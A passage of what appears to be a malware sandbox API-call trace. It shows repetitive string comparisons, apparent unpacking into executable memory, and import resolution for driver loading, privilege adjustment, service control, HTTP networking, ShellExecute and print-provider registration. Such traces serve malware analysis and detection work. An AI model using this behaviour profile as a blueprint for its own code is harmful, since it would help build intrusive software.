lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.286] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.287] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.288] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.289] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.290] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.291] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.292] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.293] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.293] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.293] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.293] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.293] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.294] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.294] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.294] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.294] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.294] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.295] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.296] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.296] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.296] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.296] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.297] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.298] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.299] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.301] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.302] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.324] VirtualAlloc (lpAddress=0x0, dwSize=0x22659, flAllocationType=0x3000, flProtect=0x4) returned 0x1a0000 [0015.326] VirtualAlloc (lpAddress=0x0, dwSize=0x3e6f, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000 [0015.326] VirtualAlloc (lpAddress=0x0, dwSize=0x25200, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0015.341] VirtualProtect (in: lpAddress=0x400000, dwSize=0x64000, flNewProtect=0x40, lpflOldProtect=0x18fb1c | out: lpflOldProtect=0x18fb1c*=0x80) returned 1 [0015.351] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x18fb1c | out: lpflOldProtect=0x18fb1c*=0x40) returned 1 [0015.352] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75820000 [0015.352] GetProcAddress (hModule=0x75820000, lpProcName="GetTempPathA") returned 0x7585276c [0015.352] GetProcAddress (hModule=0x75820000, lpProcName="GetProcAddress") returned 0x75831222 [0015.352] GetProcAddress (hModule=0x75820000, lpProcName="GetModuleHandleA") returned 0x75831245 [0015.353] GetProcAddress (hModule=0x75820000, lpProcName="CopyFileA") returned 0x758558e5 [0015.353] GetProcAddress (hModule=0x75820000, lpProcName="LoadLibraryExA") returned 0x75834913 [0015.353] GetProcAddress (hModule=0x75820000, lpProcName="FreeLibrary") returned 0x758334c8 [0015.353] GetProcAddress (hModule=0x75820000, lpProcName="DeleteFileA") returned 0x75835444 [0015.354] GetProcAddress (hModule=0x75820000, lpProcName="GetPrivateProfileIntA") returned 0x7585cdd7 [0015.354] GetProcAddress (hModule=0x75820000, lpProcName="GetPrivateProfileStringA") returned 0x7584184c [0015.354] GetProcAddress (hModule=0x75820000, lpProcName="WritePrivateProfileStringA") returned 0x75857048 [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="CreateFileA") returned 0x758353c6 [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="WriteFile") returned 0x75831282 [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="CloseHandle") returned 0x75831410 [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="GetTempFileNameA") returned 0x75859d3f [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="GetSystemTime") returned 0x75835a96 [0015.355] GetProcAddress (hModule=0x75820000, lpProcName="GetFileAttributesA") returned 0x75835414 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="DeviceIoControl") returned 0x7583322f [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="SystemTimeToFileTime") returned 0x75835a7e [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="GetCurrentProcessId") returned 0x758311f8 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="FreeLibraryAndExitThread") returned 0x7584d582 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="GetCurrentProcess") returned 0x75831809 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="CreateFileW") returned 0x75833f5c [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="GetFileSize") returned 0x7583196e [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="ReadFile") returned 0x75833ed3 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="SetFilePointer") returned 0x758317d1 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="SetEndOfFile") returned 0x7584ce2e [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="GetModuleHandleW") returned 0x758334b0 [0015.356] GetProcAddress (hModule=0x75820000, lpProcName="CopyFileW") returned 0x7585830d [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="CreateFileMappingA") returned 0x75835506 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="MapViewOfFile") returned 0x758318f1 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="UnmapViewOfFile") returned 0x75831826 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="Sleep") returned 0x758310ff [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="DeleteFileW") returned 0x758389b3 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="ExitProcess") returned 0x75837a10 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="GetCommandLineA") returned 0x758351a1 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="CreateThread") returned 0x758334d5 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="GetSystemTimeAsFileTime") returned 0x75833509 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="VirtualProtect") returned 0x7583435f [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="VirtualFree") returned 0x7583186e [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="GetLastError") returned 0x758311c0 [0015.357] GetProcAddress (hModule=0x75820000, lpProcName="GetVersionExA") returned 0x75833519 [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="MoveFileExW") returned 0x75849b2d [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="GetTempFileNameW") returned 0x7585d1b6 [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="GetTempPathW") returned 0x7584d4dc [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="GetModuleFileNameW") returned 0x75834950 [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="GetWindowsDirectoryW") returned 0x758343e2 [0015.358] GetProcAddress (hModule=0x75820000, lpProcName="VirtualAlloc") returned 0x75831856 [0015.358] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x75930000 [0015.358] GetProcAddress (hModule=0x75930000, lpProcName="QueryServiceStatusEx") returned 0x7593798c [0015.358] GetProcAddress (hModule=0x75930000, lpProcName="StartServiceA") returned 0x75973543 [0015.358] GetProcAddress (hModule=0x75930000, lpProcName="OpenSCManagerA") returned 0x75942bd8 [0015.358] GetProcAddress (hModule=0x75930000, lpProcName="OpenServiceA") returned 0x75942bf0 [0015.358] GetProcAddress (hModule=0x75930000, lpProcName="GetUserNameW") returned 0x7594157a [0015.359] GetProcAddress (hModule=0x75930000, lpProcName="OpenProcessToken") returned 0x75944304 [0015.359] GetProcAddress (hModule=0x75930000, lpProcName="RegCloseKey") returned 0x7594469d [0015.359] GetProcAddress (hModule=0x75930000, lpProcName="RegSetValueExA") returned 0x759414b3 [0015.359] GetProcAddress (hModule=0x75930000, lpProcName="RegCreateKeyA") returned 0x7593cd01 [0015.359] GetProcAddress (hModule=0x75930000, lpProcName="CloseServiceHandle") returned 0x7594369c [0015.359] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77140000 [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="RtlComputeCrc32") returned 0x771fffc1 [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="LdrAddRefDll") returned 0x7717ffdd [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="ZwImpersonateThread") returned 0x77160d34 [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="ZwOpenThread") returned 0x77161128 [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="RtlEqualUnicodeString") returned 0x7716e7f3 [0015.359] GetProcAddress (hModule=0x77140000, lpProcName="ZwQueryInformationToken") returned 0x7715fb98 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="wcsncpy") returned 0x77215755 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="ZwOpenFile") returned 0x7715fd54 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="ZwClose") returned 0x7715f9d0 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="ZwLoadDriver") returned 0x77160de4 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="strncat") returned 0x771bc570 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="ZwCreateEvent") returned 0x7715ff64 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x7716e208 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="_snwprintf") returned 0x77172417 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="atoi") returned 0x7718d2f3 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="ZwTestAlert") returned 0x77161db0 [0015.360] GetProcAddress (hModule=0x77140000, lpProcName="RtlRandom") returned 0x772098c3 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="ZwRaiseHardError") returned 0x771615f4 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="RtlAdjustPrivilege") returned 0x771f1f40 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="ZwQuerySystemInformation") returned 0x7715fda0 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="sscanf") returned 0x772154a7 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="strncpy") returned 0x771b5c30 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="_chkstk") returned 0x7717ad68 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="memcpy") returned 0x77162340 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="_snprintf") returned 0x77214760 [0015.361] GetProcAddress (hModule=0x77140000, lpProcName="RtlImageNtHeader") returned 0x77173164 [0015.362] GetProcAddress (hModule=0x77140000, lpProcName="ZwDeviceIoControlFile") returned 0x7715f8fc [0015.362] GetProcAddress (hModule=0x77140000, lpProcName="memset") returned 0x7716df20 [0015.362] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x751a0000 [0015.362] GetProcAddress (hModule=0x751a0000, lpProcName="StrStrIW") returned 0x751b46e9 [0015.362] GetProcAddress (hModule=0x751a0000, lpProcName="SHDeleteKeyA") returned 0x751cd9f6 [0015.365] GetProcAddress (hModule=0x751a0000, lpProcName="PathFileExistsW") returned 0x751b45bf [0015.366] GetProcAddress (hModule=0x751a0000, lpProcName="StrStrIA") returned 0x751ad250 [0015.366] GetProcAddress (hModule=0x751a0000, lpProcName="PathFileExistsA") returned 0x751dad1a [0015.367] GetProcAddress (hModule=0x751a0000, lpProcName="PathAppendA") returned 0x751ad65e [0015.367] GetProcAddress (hModule=0x751a0000, lpProcName="PathFindFileNameW") returned 0x751bbb71 [0015.367] GetProcAddress (hModule=0x751a0000, lpProcName="SHGetValueA") returned 0x751acf09 [0015.367] GetProcAddress (hModule=0x751a0000, lpProcName="PathRemoveFileSpecA") returned 0x751ce20b [0015.367] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x0 [0015.367] LoadLibraryA (lpLibFileName="imagehlp.dll") returned 0x75a80000 [0015.421] GetProcAddress (hModule=0x75a80000, lpProcName="CheckSumMappedFile") returned 0x75a88303 [0015.421] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x0 [0015.421] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77110000 [0015.436] GetProcAddress (hModule=0x77110000, lpProcName="GetMappedFileNameW") returned 0x7711162e [0015.436] GetModuleHandleA (lpModuleName="RPCRT4.dll") returned 0x76900000 [0015.436] GetProcAddress (hModule=0x76900000, lpProcName="UuidCreateSequential") returned 0x76927c12 [0015.437] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x0 [0015.437] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75010000 [0015.857] GetProcAddress (hModule=0x75010000, lpProcName="InternetCrackUrlA") returned 0x7501d075 [0015.857] GetProcAddress (hModule=0x75010000, lpProcName="InternetConnectA") returned 0x750349e9 [0015.857] GetProcAddress (hModule=0x75010000, lpProcName="HttpOpenRequestA") returned 0x75034c7d [0015.858] GetProcAddress (hModule=0x75010000, lpProcName="HttpSendRequestA") returned 0x750a18f8 [0015.858] GetProcAddress (hModule=0x75010000, lpProcName="InternetQueryOptionA") returned 0x75021b56 [0015.858] GetProcAddress (hModule=0x75010000, lpProcName="InternetSetOptionA") returned 0x750275e8 [0015.858] GetProcAddress (hModule=0x75010000, lpProcName="InternetCloseHandle") returned 0x7502ab49 [0015.858] GetProcAddress (hModule=0x75010000, lpProcName="InternetOpenA") returned 0x7503f18e [0015.858] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x0 [0015.858] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75ab0000 [0017.089] GetProcAddress (hModule=0x75ab0000, lpProcName="ShellExecuteW") returned 0x75ac3c71 [0017.089] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x74d90000 [0017.090] GetProcAddress (hModule=0x74d90000, lpProcName="CoCreateInstance") returned 0x74dd9d0b [0017.090] GetProcAddress (hModule=0x74d90000, lpProcName="CoInitialize") returned 0x74dab636 [0017.090] GetProcAddress (hModule=0x74d90000, lpProcName="CoUninitialize") returned 0x74dd86d3 [0017.090] GetModuleHandleA (lpModuleName="WINSPOOL.DRV") returned 0x0 [0017.090] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x749f0000 [0017.115] GetProcAddress (hModule=0x749f0000, lpProcName="DeletePrintProvidorW") returned 0x74a040cc [0017.115] GetProcAddress (hModule=0x749f0000, lpProcName="AddPrintProvidorW") returned 0x749ff612 [0017.115] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x40, lpflOldProtect=0x18fb1c | out: lpflOldProtect=0x18fb1c*=0x4) returned 1 [0017.115] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0017.116] GetModuleHandleA (lpModuleName="kernel32") returned 0x75820000 [0017.116] GetProcAddress (hModule=0x75820000, 